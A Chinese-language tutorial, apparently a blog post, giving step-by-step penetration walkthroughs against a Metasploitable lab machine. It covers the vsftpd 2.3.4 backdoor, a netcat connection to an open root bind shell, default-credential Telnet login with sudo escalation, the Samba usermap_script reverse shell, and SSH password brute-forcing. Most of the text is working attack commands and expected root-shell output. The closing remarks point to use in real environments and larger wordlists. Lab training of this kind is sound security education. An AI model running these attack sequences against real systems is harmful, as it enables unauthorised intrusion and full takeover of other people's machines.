今天會分享幾個漏洞利用的實作範例
步驟一:準備環境
步驟二:Nmap掃描
使用以下命令進行版本掃描:
sudo nmap -sV 192.168.1.5
輸入密碼後,等待掃描完成,查看FTP服務版本是否為vsftpd 2.3.4
。
步驟三:搜索漏洞
在終端中使用searchsploit
命令查看是否存在該版本的漏洞:
searchsploit vsftpd 2.3.4
結果顯示有一個漏洞,且已存在Metasploit模組。
步驟四:在Metasploit中搜索漏洞
在Metasploit控制台中,搜索相關漏洞:
search vsftpd
找到相應的exploit模組,通常會顯示類似於exploit/unix/ftp/vsftpd_234_backdoor
的信息。
步驟五:使用漏洞
選擇並使用此漏洞模組:
use exploit/unix/ftp/vsftpd_234_backdoor
步驟六:設置選項
查看並設置漏洞利用的參數:
show options
設置目標IP地址:
set RHOSTS 192.168.1.5
確認所有選項設置正確後,執行exploit命令:
exploit
步驟七:確認攻擊成功
如果成功,你將獲得一個命令行shell,可以執行命令。確認身份並驗證你已經獲得root權限:
whoami
此時,應顯示root
,表示你已成功利用該漏洞,並獲得目標系統的最高權限。
步驟八:結束會話
在完成測試後,使用exit
命令結束會話:
exit
這是一次成功的漏洞利用範例。這種類型的漏洞是因為在特定時間段內發佈的vsftpd版本中存在一個後門,而該版本可能在Metasploitable中故意設置為易受攻擊的版本,以便進行測試和學習。
步驟一:準備環境
啟動Metasploitable虛擬機器,並確認其IP地址(例如:192.168.1.5)。
打開終端並執行Nmap版本掃描,以檢查目標機器上的開放端口和服務版本:
sudo nmap -sV 192.168.1.5
步驟二:識別錯誤配置
檢查Nmap掃描結果,注意是否存在不應存在的服務。此時,我們發現bind shell
運行在1524端口,並且顯示metasploitable root shell
。這意味著該端口上運行了一個沒有身份驗證的root shell,這是明顯的錯誤配置。
步驟三:使用Netcat進行連接
由於該端口運行的是bind shell
,我們可以直接使用Netcat進行連接並獲得shell訪問。
打開終端,輸入以下命令以連接到目標端口:
nc 192.168.1.5 1524
步驟四:驗證連接
輸入以下命令來驗證您已獲得root訪問:
whoami
輸出應顯示root
,表明您已成功獲得目標系統的最高權限。
您可以執行其他命令,例如:
ls
ifconfig
以檢查目標系統上的目錄和網絡配置信息。
小結
這是一個錯誤配置導致的漏洞,通常由於用戶配置不當而發生,這種情況在現實中很少見,但如果發生,則可能導致嚴重的安全風險。作為安全專家,識別和利用這類配置錯誤是一項重要的技能。
步驟一:準備環境
啟動Metasploitable
虛擬機器,並確認其IP地址(例如:192.168.1.5)。
使用Nmap
執行版本掃描,以檢查目標機器上的開放端口和服務版本:
sudo nmap -sV 192.168.1.5
步驟二:識別信息洩露
檢查Nmap
掃描結果,注意端口23上運行的Telnet
服務版本。此時,我們看到Linux telnetd
版本未提供具體版本信息。
我們可以嘗試使用searchsploit
搜索已知漏洞:
searchsploit telnetd
根據結果,我們發現並沒有直接適用於該版本的漏洞利用。
步驟三:使用默認憑據登錄Telnet
由於我們未能找到具體漏洞版本,我們將嘗試使用默認憑據進行登錄。
打開終端,輸入以下命令以連接到Telnet
端口:
telnet 192.168.1.5
當連接成功時,您將看到Telnet
的歡迎橫幅,其中包括默認的登錄憑據信息:
login with msfadmin/msfadmin
使用默認用戶名和密碼登錄:
Username: msfadmin
Password: msfadmin
步驟四:提升權限
登錄成功後,您將以msfadmin
用戶身份進入系統:
whoami
此命令將顯示您目前的用戶身份,即msfadmin
。
為了獲得root
權限,您可以使用以下命令提升權限:
sudo su
當系統提示輸入msfadmin
用戶的密碼時,輸入msfadmin
:
Password: msfadmin
現在,您已經成為root
用戶,您可以執行以下命令驗證:
whoami
此命令應該返回root
,表示您已成功獲得最高權限。
小結
這是一個典型的信息洩露漏洞,通過暴露的默認憑據進行利用。在現實中,這樣的漏洞較少見,但它展示了信息洩露如何導致系統安全風險。
步驟一:準備環境
啟動 Metasploitable
虛擬機,並確認其 IP 地址(例如:192.168.1.5)。
使用 Nmap
執行版本掃描,以檢查目標機器上的開放端口和服務版本:
sudo nmap -sV 192.168.1.5
查看掃描結果,注意端口 139 和 445 上的 Samba
服務。
139/tcp open netbios-ssn Samba smbd (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd (workgroup: WORKGROUP)
步驟二:識別 Samba 版本
我們看到 Nmap
未能提供精確的 Samba
版本資訊,因此我們需要使用 Metasploit
框架中的輔助模組來探測 Samba 版本。
打開 Metasploit
控制台:
msfconsole
使用以下命令來搜尋和使用 Samba
版本探測器:
search samba
use auxiliary/scanner/smb/smb_version
設定遠端主機(目標機器)的 IP 地址:
set RHOSTS 192.168.1.5
執行掃描模組以獲取確切的 Samba 版本:
run
您應該會看到類似以下的輸出,顯示目標機器上運行的確切 Samba 版本:
[*] 192.168.1.5:139 - SMB Detected (version: 3.0.20)
步驟三:尋找適用的漏洞
使用 searchsploit
工具來查找與 Samba
版本相關的漏洞利用代碼:
searchsploit samba 3.0.20
結果顯示適用於我們目標版本的幾個漏洞,其中 `usermap script` 漏洞是我們感興趣的,因為它是 Metasploit 框架中的一個 Ruby 模組。
在 Metasploit
中搜尋並使用該漏洞模組:
search samba
use exploit/multi/samba/usermap_script
步驟四:配置和運行漏洞利用
設定遠端主機 IP 地址:
set RHOSTS 192.168.1.5
查看並設定必要的參數:
show options
set LHOST <your_kali_ip>
set LPORT 4444
執行漏洞利用:
exploit
您應該看到以下輸出,表示您已獲得目標系統上的命令行 shell:
```
[*] Command shell session 1 opened (192.168.1.5:4444 -> <your_kali_ip>:4444)
```
步驟五:驗證訪問
驗證您已成功訪問目標系統,並以 root 身份運行命令:
whoami
您應該看到 root
的輸出,表示您已獲得最高權限。
運行其他命令以驗證您的訪問,例如查看網絡介面配置:
ifconfig
總結
通過識別目標系統上的 Samba
服務版本,並利用已知的漏洞,我們成功地獲得了目標系統的控制權。此方法展示了如何在真實環境中有效地進行漏洞利用和攻擊。
啟動 Metasploitable
虛擬機,並確認其 IP 地址(例如:192.168.1.5)。
使用 Nmap
執行版本掃描,以檢查目標機器上的開放端口和服務版本:
sudo nmap -sV 192.168.1.5
3. 查看掃描結果,注意端口 22 上的 SSH
服務。
```
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
```
創建一個包含潛在用戶名的文本文件 usernames.txt
:
nano usernames.txt
在文件中添加以下內容:
```
admin
root
test123
msfadmin
```
創建一個包含潛在密碼的文本文件 passwords.txt
:
nano passwords.txt
在文件中添加以下內容:
password
password123
hello world
msfadmin
確保這兩個文件保存到您的當前工作目錄中。
打開 Metasploit
控制台:
msfconsole
搜尋並選擇適合的 SSH 暴力破解模組:
search ssh
use auxiliary/scanner/ssh/ssh_login
查看並設置必要的參數:
show options
set RHOSTS 192.168.1.5
set USER_FILE /full/path/to/usernames.txt
set PASS_FILE /full/path/to/passwords.txt
set VERBOSE true
注意:確保 USER_FILE
和 PASS_FILE
的路徑正確。
執行暴力破解攻擊:
run
您應該會看到類似以下的輸出,顯示攻擊的進展:
[*] Attempting to login...
[-] 192.168.1.5 - LOGIN FAILED: msfadmin:password
[+] 192.168.1.5 - SUCCESSFUL LOGIN: msfadmin:msfadmin
5. 成功後,您可以使用 ssh
命令手動連接到目標機器:
```bash
ssh msfadmin@192.168.1.5
```
小結
我們學習了如何使用暴力破解攻擊來攻擊 SSH 服務,以驗證弱密碼和默認憑據的安全性。這種攻擊方法可以幫助我們識別目標系統中潛在的安全漏洞。在真實場景中,記得使用更大、更全面的用戶名和密碼列表,以增加成功的機會。